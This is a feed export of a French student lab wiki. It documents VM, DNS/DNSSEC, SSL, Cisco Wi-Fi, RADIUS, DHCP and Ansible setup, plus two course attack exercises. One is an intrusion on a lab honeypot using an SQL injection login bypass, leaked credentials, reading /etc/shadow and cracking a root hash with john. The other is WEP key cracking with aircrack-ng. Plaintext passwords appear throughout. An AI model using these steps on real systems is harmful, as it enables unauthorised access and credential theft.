 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;&amp;lt;code&amp;gt;{{ packages }&amp;lt;/code&amp;gt;}&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;dock&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54982</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54982"/>
				<updated>2020-12-18T18:53:16Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
